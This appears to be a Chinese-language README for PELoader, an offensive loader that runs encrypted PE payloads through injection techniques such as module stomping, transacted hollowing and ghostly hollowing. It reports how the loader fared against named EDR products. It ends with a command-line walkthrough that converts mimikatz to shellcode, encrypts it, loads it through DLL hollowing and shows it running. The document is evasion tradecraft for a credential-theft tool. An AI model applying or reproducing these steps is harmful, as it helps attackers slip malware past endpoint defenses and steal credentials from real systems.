PELoader 实现了多种 shellcode 注入技术,并使用 libpeconv 库来加载加密的 PE 文件,而不是将 shellcode 注入到远程线程中。
实现了以下技术:
致谢:我的大部分工作基于 @hasherezade 的 PoC 脚本。
PELoader 在 Windows 10 上使用 Cortex XDR / SentinalOne / Windows Defender / CrowdStrike 进行了测试,其中 Windows Defender / CrowdStrike 检测到了 Transacted Hollowing 技术。每种技术的特性都使用来自 @forrest-orr 的内存扫描工具 Moneta 进行了测试。
Module Stomping (LoadLibrary)
调用 LoadLibrary 加载一个合法的 DLL,然后用 payload 覆盖该 DLL。
优点

Module Stomping (NtMapViewOfSection)
调用 NtCreateSection 为合法 DLL 创建文件映射对象(PAGE_READONLY),并调用 NtMapViewOfSection 将其映射到当前进程。然后用 payload 覆盖该 DLL。
优点
缺点

参考 @hasherezade 的 PoC。
Transacted Hollowing
一种介于 Process Hollowing 和 Process Doppelgänging 之间的混合技术。在 NTFS 事务中创建一个“不可见”文件,并将 payload 写入该文件。将节区映射到当前进程并执行。
优点
缺点

Ghostly Hollowing
一种介于 Process Hollowing 和 Process Ghosting 之间的混合技术。创建一个处于删除挂起状态的文件,并将 payload 写入该文件。将节区映射到当前进程并执行。
优点
Cron
参考 @hasherezade 的 PoC。
NtMapViewOfSection (RWX-RW-RX)
调用 NtCreateSection 创建内存节区(RWX)。调用 NtMapViewOfSection 将视图映射到当前进程(RWX)。调用 VirtualProtect 将保护更改为 RW。将 shellcode 复制到映射的节区。将保护更改为 RX 并执行。
优点
缺点

NtAllocateVirtualMemory (RW-RX)
调用 NtAllocateVirtualMemory 分配内存(RW)。将 shellcode 复制到内存。将保护更改为 RX 并执行。
优点
缺点

AES Encrypt Payload
使用 pe_to_shellcode 将 PE 文件转换为 shellcode,并使用 PELoader 进行加密
cmd> .\pe2shc.exe mimikatz.exe
Reading module from: mimikatz.exe
[WARNING] This is a console application! The recommended subsystem is GUI.
[+] Saved as: mimikatz.shc.exe
cmd> set hagrid=enc mimikatz.shc.exe
cmd> .\PELoader.exe
argument: enc mimikatz.shc.exe
Encrypting File
PE Execution
将参数设置到环境变量 "hagrid" 中,然后执行 PELoader
cmd> set hagrid=cdll mimikatz.shc.exe.enc
cmd> .\PELoader.exe version
argument: cdll mimikatz.shc.exe.enc
Classic DLL Hollowing
[*] target dll: C:\WINDOWS\system32\aadtb.dll
[*] implant dll: mimikatz.shc.exe.enc
[*] Loading the DLL (using LoadLibary, classic DLL hollowing)...
[*] Overwriting the mapping
[*] Module Overloading finished...
[*] Executing Implant's Entry Point: 7ff8cf9d7578
[*] Executing Implant as EXE
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # version
mimikatz 2.2.0 (arch x64)
Windows NT 10.0 build 19043 (arch x64)
msvc 150030729 207
mimikatz #